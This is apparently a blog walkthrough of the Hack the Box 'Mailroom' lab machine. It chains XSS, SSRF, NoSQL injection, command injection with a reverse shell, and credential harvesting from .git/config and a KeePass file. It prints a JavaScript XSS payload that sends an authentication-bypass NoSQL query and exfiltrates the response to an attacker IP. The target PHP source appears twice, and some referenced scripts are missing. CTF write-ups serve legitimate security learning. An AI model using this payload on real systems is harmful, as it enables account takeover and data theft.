In this post, I would like to share a walkthrough of the Mailroom Machine from Hack the Box
This room will be considered a Hard machine on Hack the Box
What will you gain from the Mailroom machine?
For the user flag, you will need to abuse Cross-Site Scripting which will lead to an SSRF attack together with blind nosql injection that resulted in credentials for the user (Tristan’s). Then, we should be doing port-forwarding and bypassing the authentication process so that we will be obtaining the 2fa token link on the machine. We should be able to access the website that is hosted on a different URL and abuse the command injection so that we can retrieve the reverse shell connection back to us. After enumerating further on the victim’s machine, we should be able to find another credential that belongs to Matthew inside the .git directory
As for the root flag, you need to analyze the kpcli by using strace which we should be able to get the password for the kdbx file. Later, we can use kdbx file to get the password for the root access
Information Gathering on Mailroom Machine
Once we have started the VPN connection which requires a download from Hackthebox, we can start the information gathering on the machine by executing the command nmap -sC -sV -p- <IP Address> -PN
┌─[darknite@parrot]─[~/Document/htb/Mailroom]
└──╼ $nmap -sC -sV 10.10.11.209 -oA initial
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-26 09:34 EDT
Nmap scan report for mailroom.htb (10.10.11.209)
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 94:bb:2f:fc:ae:b9:b1:82:af:d7:89:81:1a:a7:6c:e5 (RSA)
| 256 82:1b:eb:75:8b:96:30:cf:94:6e:79:57:d9:dd:ec:a7 (ECDSA)
|_ 256 19:fb:45:fe:b9:e4:27:5d:e5:bb:f3:54:97:dd:68:cf (ED25519)
80/tcp open http Apache httpd 2.4.54
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 121.36 seconds
┌─[darknite@parrot]─[~/Document/htb/Mailroom]
└──╼ $
Let’s meet the team in the mailroom.htb where we can use in the later stage.
By default, let’s execute a common Cross-Site Scripting (XSS) on the form
Boom! We have successfully retrieved the attack as shown in the screenshot above.
Therefore, let’s try to call back a javascript file by using the XSS attack method.
<?php
require 'vendor/autoload.php';
session_start(); // Start a session
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {
header('HTTP/1.1 503 Service Unavailable');
echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);
exit;
}
$collection = $client->backend_panel->users; // Select the users collection
// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {
// Verify the parameters are valid
if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
}
// Check if the email and password are correct
$user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);
if ($user) {
// Generate a random UUID for the 2FA token
$token = bin2hex(random_bytes(16));
$now = time();
// Update the user record in the database with the 2FA token if not already sent in the last minute
$user = $collection->findOne(['_id' => $user['_id']]);
if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {
$collection->updateOne(
['_id' => $user['_id']],
['$set' => ['2fa_token' => $token, 'token_creation' => $now]]
);
// Send an email to the user with the 2FA token
$to = $user['email'];
$subject = '2FA Token';
$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
mail($to, $subject, $message);
}
// Return a JSON response notifying about 2fa
echo json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']);
exit;
} else {
// Return a JSON error response
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid email or password']);
}
}
// Check for invalid parameters
else if (!isset($_GET['token'])) {
header('HTTP/1.1 400 Bad Request');
echo json_encode(['success' => false, 'message' => 'Email and password are required']);
exit;
}
// Check if the form has been submitted
else if (isset($_GET['token'])) {
// Verify Token parameter is valid
if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
exit;
}
// Check if the token is correct
$user = $collection->findOne(['2fa_token' => $_GET['token']]);
if ($user) {
// Set the logged_in flag and name in the session
$_SESSION['logged_in'] = true;
$_SESSION['name'] = explode('@', $user['email'])[0];
// Remove 2FA token since user already used it to log in
$collection->updateOne(
['_id' => $user['_id']],
['$unset' => ['2fa_token' => '']]
);
// Redirect to dashboard since login was successful
header('Location: dashboard.php');
exit;
} else {
// Return a JSON error response
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']);
exit;
}
}
?>
<?php
require 'vendor/autoload.php';
session_start(); // Start a session
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {
header('HTTP/1.1 503 Service Unavailable');
echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);
exit;
}
$collection = $client->backend_panel->users; // Select the users collection
// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {
// Verify the parameters are valid
if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
}
// Check if the email and password are correct
$user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);
if ($user) {
// Generate a random UUID for the 2FA token
$token = bin2hex(random_bytes(16));
$now = time();
// Update the user record in the database with the 2FA token if not already sent in the last minute
$user = $collection->findOne(['_id' => $user['_id']]);
if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {
$collection->updateOne(
['_id' => $user['_id']],
['$set' => ['2fa_token' => $token, 'token_creation' => $now]]
);
// Send an email to the user with the 2FA token
$to = $user['email'];
$subject = '2FA Token';
$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
mail($to, $subject, $message);
}
// Return a JSON response notifying about 2fa
echo json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']);
exit;
} else {
// Return a JSON error response
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid email or password']);
}
}
// Check for invalid parameters
else if (!isset($_GET['token'])) {
header('HTTP/1.1 400 Bad Request');
echo json_encode(['success' => false, 'message' => 'Email and password are required']);
exit;
}
// Check if the form has been submitted
else if (isset($_GET['token'])) {
// Verify Token parameter is valid
if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
exit;
}
// Check if the token is correct
$user = $collection->findOne(['2fa_token' => $_GET['token']]);
if ($user) {
// Set the logged_in flag and name in the session
$_SESSION['logged_in'] = true;
$_SESSION['name'] = explode('@', $user['email'])[0];
// Remove 2FA token since user already used it to log in
$collection->updateOne(
['_id' => $user['_id']],
['$unset' => ['2fa_token' => '']]
);
// Redirect to dashboard since login was successful
header('Location: dashboard.php');
exit;
} else {
// Return a JSON error response
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']);
exit;
}
}
?>
As we expected, the file has been transferred to the machine.
We should be getting some credentials by transferring the index.js into the machine.
var url = "http://staff-review-panel.mailroom.htb/auth.php";
var attacker = "http://10.10.14.98/out";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)));
xhr.open('POST', url);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send('email[$ne]=1&password[$ne]=1');
The Python script above will provide some information on the machine
Sadly, we have retrieved the error like the above.
The source code above will provide us with a username that we can use later.
For us to obtain the password on Tristan access, we should create a source code as shown above.
After a while of troubleshooting, we managed to obtain the credentials for tristan
At last, we managed to access the machine via SSH service.
Sadly, there is nothing that looks interesting residing inside the machine.
As a result, we can use the port forwarding port 80
We should initiate the NoSQL Injection via Burpsuite
By reading Tristan’s mail, we found a link that also shows the token file
However, we got an error response which look weird to me.
After we analyzed the error, we found out that we should add the port number on the browser.
Finally, we managed to access the interface by using the link we found earlier.
Therefore, let’s start our nc listener on our attacker’s machine.
We should be getting the command above.
Finally, we have obtained the reverse shell connection to us.
We managed to retrieve Matthew’s credentials within the .git/config file
Boom! We managed to change Matthew’s privileges and access
We can read the user flag by typing the “cat user.txt” command
Escalate to Root Privileges Access
To save some time on enumeration the progress for the machine, we should upload the pspy64 into the victim’s machine.
Sadly, we didn’t have the malicious process and file that had been found using the pspy54
At last, we managed to sight the password of the personal.kdbx
Therefore, let’s enter the credentials into the kpcli
By default, we can see the password for the root access
Therefore, let’s change to root by using the password that we found earlier.
We can read the root flag by typing the “cat root.txt” command
No responses yet